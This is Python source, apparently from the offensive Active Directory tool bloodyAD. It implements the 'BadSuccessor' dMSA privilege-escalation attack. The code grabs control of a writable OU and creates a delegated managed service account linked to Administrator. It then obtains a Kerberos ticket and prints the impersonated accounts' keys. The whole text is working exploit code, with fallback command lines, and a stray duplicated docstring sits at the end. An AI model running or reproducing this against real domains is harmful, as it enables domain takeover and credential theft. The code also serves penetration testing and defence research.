def badSuccessor(conn, dmsa: str, t: list = ["CN=Administrator,CN=Users,DC=Current,DC=Domain"], ou: str = None):
    """
    Add a new DMSA (Dedicated Managed Service Account) object

    :param dmsa: hostname of the DMSA object (no need to add '$')
    :param t: Distinguished Name of the target whose privileges are to be assumed (can be called multiple times, e.g. "-t CN=Admin,CN=Users,DC=domain,DC=com -t CN=User,CN=Users,DC=domain,DC=com")
    :param ou: Organizational Unit for the DMSA object. If not provided, chooses the first OU the logged user can add child to.
    """
    # Check if the schema version is 2025
    schema_version = next(
        conn.ldap.bloodysearch(
            conn.ldap.schemaNC, attr=["objectVersion"]
        )
    ).get("objectVersion", None)

    if int(schema_version[0]) < 91:
        raise BloodyError("Schema version is not 2025. DMSA creation is not supported.")

    if len(t) == 1:
        t = ["CN=Administrator,CN=Users," + conn.ldap.domainNC]
    else:
        t = t[1:]

    # First we try to find a OU where we can add a child object
    # If we don't find one, we will use the first one where we have DACL write on
    # If we don't find one, we will use the first one where we have ownership write on
    if not ou:
        writable_ou = []
        writable_nt_ou = []
        writable_owner_ou = []
        for entry in conn.ldap.bloodysearch(
            conn.ldap.domainNC,
            ldap_filter="(|(objectClass=container)(objectClass=organizationalUnit))",
            search_scope=Scope.SUBTREE,
            attr=["distinguishedName", "allowedChildClassesEffective", "sDRightsEffective"],
        ):
            sdright_mask = entry.get("sDRightsEffective", 0)
            if "msDS-DelegatedManagedServiceAccount" in entry.get("allowedChildClassesEffective", []):
                if entry["distinguishedName"] == "CN=Managed Service Accounts," + conn.ldap.domainNC:
                    # Choose Managed Service Accounts in priority as it is the default for dMSA
                    ou = entry["distinguishedName"]
                    break
                writable_ou.append(entry["distinguishedName"])
            elif sdright_mask & 4:
                # We have DACL write on the OU
                writable_nt_ou.append(entry["distinguishedName"])
            elif sdright_mask & 3:
                # We have ownership write on the OU
                writable_owner_ou.append(entry["distinguishedName"])

        if not ou:
            if writable_ou:
                # Choose the first OU we can add child to
                ou = writable_ou[0]
            elif writable_nt_ou:
                ou = writable_nt_ou[0]
                genericAll(conn, ou, conn.conf.username)
            elif writable_owner_ou:
                ou = writable_owner_ou[0]
                bloodySet.owner(conn, ou, conn.conf.username)
                genericAll(conn, ou, conn.conf.username)
            else:
                raise BloodyError("No suitable OU found for adding the DMSA object")

    dmsa_dn = f"CN={dmsa},{ou}"

    new_sd = accesscontrol.createEmptySD()
    access_mask = accesscontrol.ACCESS_FLAGS["GENERIC_ALL"]
    self_obj = next(conn.ldap.bloodysearch(conn.ldap.domainNC,
            ldap_filter=f"(sAMAccountName={conn.conf.username})",
            search_scope=Scope.SUBTREE, attr=["objectSid"]))
    self_sid = self_obj["objectSid"]
    utils.addRight(new_sd, self_sid, access_mask)

    dmsa_sama = dmsa + "$"
    LOG.info(f"[*] Creating DMSA {dmsa_sama} in {ou}")
    LOG.info(f"[*] Impersonating: {', '.join(t)}")
    attr = {
        "objectClass": ["msDS-DelegatedManagedServiceAccount"],
        "sAMAccountName": dmsa+'$',
        "dNSHostName": f"{dmsa}.{conn.conf.domain}",
        "msDS-ManagedPasswordInterval": 30,
        "msDS-GroupMSAMembership": SECURITY_DESCRIPTOR.from_sddl(f"O:S-1-5-32-544D:(A;;0xf01ff;;;{self_sid})"),
        "msDS-DelegatedMSAState": 2,
        "msDS-ManagedAccountPrecededByLink": t,
        "msDS-SupportedEncryptionTypes": 0x1c,
        "userAccountControl": 0x1000
    }
    conn.ldap.bloodyadd(dmsa_dn, attributes=attr)

    client = None
    path = dmsa + "_" + "".join(
            random.choice(string.ascii_letters + string.digits) for i in range(2)
        )
    splitted_url = conn.ldap.co_url.split("-",1)
    if "sspi" in splitted_url[0]:
        LOG.error("[-] SSPI is not supported yet to retrieve dMSA TGT, use Rubeus or minikerberos certstore, e.g.:")
        LOG.error(f"python minikerberos-bAD/examples/getS4U2self.py 'kerberos+certstore://{conn.conf.domain}\{conn.conf.username}@192.168.100.5' 'krbtgt/{conn.conf.domain}@{conn.conf.domain}' '{dmsa_sama}@{conn.conf.domain}' --dmsa")
        return
    url = "kerberos+" + splitted_url[1]
    LOG.debug(f"[*] Using minikerberos url: {url}")
    try:
        cu = factory.KerberosClientFactory.from_url(url)
        client = cu.get_client_blocking()
        service_spn = KerberosSPN.from_spn(f"krbtgt/{conn.conf.domain}@{conn.conf.domain}")
        target_user = KerberosSPN.from_upn(f"{dmsa_sama}@{conn.conf.domain}")
        tgs, encTGSRepPart, key = client.S4U2self(target_user, service_spn, is_dmsa=True)
    except Exception as e:
        LOG.error(f"[-] Failed to retrieve dMSA TGT")
        LOG.error("[-] Try using Rubeus, or something like:")
        LOG.error(f"python minikerberos-bAD/examples/getS4U2self.py '{url}' 'krbtgt/{conn.conf.domain}@{conn.conf.domain}' '{dmsa_sama}@{conn.conf.domain}' --dmsa")
        raise e

    kirbi = Kirbi.from_ticketdata(tgs, encTGSRepPart)
    LOG.info(str(kirbi))

    ccache = CCACHE().from_kirbi(kirbi)
    ccache_path = path + ".ccache"
    ccache.to_file(path + ".ccache")
    LOG.info('[+] dMSA TGT stored in ccache file %s' % ccache_path)

    dmsa_pack = ticketutil.get_KRBKeys_From_TGSRep(encTGSRepPart)

    LOG.info('\ndMSA current keys found in TGS:')
    for current_key in dmsa_pack['current-keys']:
        LOG.info("%s: %s" % (Enctype.get_name(current_key['keytype']), current_key['keyvalue'].hex()))
    LOG.info('\ndMSA previous keys found in TGS (including keys of preceding managed accounts):')
    for previous_key in dmsa_pack['previous-keys']:
        LOG.info("%s: %s" % (Enctype.get_name(previous_key['keytype']), previous_key['keyvalue'].hex()))

    Add a new DMSA (Dedicated Managed Service Account) object

    :param dmsa: hostname of the DMSA object (no need to add '$')
    :param t: Distinguished Name of the target whose privileges are to be assumed (can be called multiple times, e.g. "-t CN=Admin,CN=Users,DC=domain,DC=com -t CN=User,CN=Users,DC=domain,DC=com")
    :param ou: Organizational Unit for the DMSA object. If not provided, chooses the first OU the logged user can add child to.
    
bloodyAD/cli_modules/add.py